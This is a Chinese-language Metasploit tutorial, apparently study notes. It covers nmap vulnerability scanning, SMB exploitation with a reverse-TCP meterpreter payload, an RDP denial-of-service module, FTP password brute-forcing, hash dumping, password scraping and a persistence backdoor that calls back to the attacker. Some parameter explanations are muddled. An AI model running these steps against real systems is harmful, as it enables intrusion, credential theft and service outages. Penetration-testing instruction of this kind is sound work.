概念:Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。
我们这次用的是kali系统自带的metasploit
我们可以通过命令msfconsole来打开metasploit
在终端下输入?可以查看基础的指令
其中:core commands 核心指令
module commands 模块指令
database backend commands 数据库后端命令
此外:终端下的常用命令 search 搜索含有关键字的模块
use 选择使用的一个模块
set 使用模块后,设置模块所需要的参数的值(对应使用unset取消设置的值)
exploit/run 运行攻击模块
其中,我们需要用到的是exploits模块(渗透攻击/漏洞利用模块)
首先,我们使用kali系统里自带的nmap来查询目标主机
nmap --script=vuln 192.168.xxx.xxx/24
之后我们启动metasploit
msfdb init&& msfconsole
之后我们查询漏洞
search 漏洞名称
之后我们使用命令利用漏洞
use exploit/windows/smb/漏洞名称
因为这里我没有这个漏洞,所以没有扫出来,可以自己编辑漏洞进行实验
之后可以使用show options查看模块需要设置那些参数
set LHOST 目标本地主机(攻击)ip地址
set RHOST 远程主机(目标机)ip地址
set RPORT 目标端口
set payload windows/meterpreter/reverse_tcp 设置payload
之后我们可以查看目标:show targets
设置目标操作系统类型:set target xx
之后我们使用exploit进行溢出攻击
auxiliary辅助模块
主要负责扫描,指纹识别等相关功能以辅助渗透测试
(exploits模块需要与payloads模块进行联合使用,通过exploits进行渗透成功后执行payloads模块中代码,而auxilary不需要与payloads联合使用)
路径:/usr/share/metasploit-framework/modules/auxiliary
之后我们通过命令扫描确定主机漏洞
use auxiliary/scanner/ftp/ftp_login
之后通过具体漏洞进行分析查看
例如:use auxiliary/scanner/rdp/ms12_20_check 使用漏洞进行检测,确认是否存在此漏洞
show options 查看模块需要设置哪些参数
set RHOST 目标主机地址
之后进行run执行
然后我们使用以下指令进行利用
use auxiliary/dos/windows/rpd/ms12_020_maxchannelids 使用漏洞
show opentions 查看参数
set RHOST 目标主机ip
之后执行,目标主机会中招
网络主机存货扫描
地址:auxiliary/scanner/discovery/arp_sweep
web目录扫描
auxiliary/scanner/http/dir_scanner
ftp登录密码爆破:auxiliary/scanner/ftp/ftp_login
meterpreter
渗透攻击模块的实施通道
常用命令:pwd,sysinfo,getuid
screenshot 对目标主机进行截屏
hashdump 获取用户名与hash口令
shell 获取目标系统的shell控制台
meterpreter脚本使用
路径:/usr/share/Metaspolit-framework/scripts/meterpreter/
使用方法run 脚本名称
arp_scanner 检测局域网中的存货主机
scraper 列举目标系统信息,包括用户名和密码,下载全部注册表,挖掘密码hash值,输出HKEY_CURRENT_USER(HKCU)
persistence 允许目标机注入meterpreter代理,确保系统重启之后meterpreter能运行
使用实例:run persistence -x -i -p 443 -r 目标主机ip
(-x 目标机开机自启动meterpreter
-i 50 目标机每搁50s自动连接攻击机
-p 443表示目标机将连接攻击机的443端口
-r 自动连接目标ip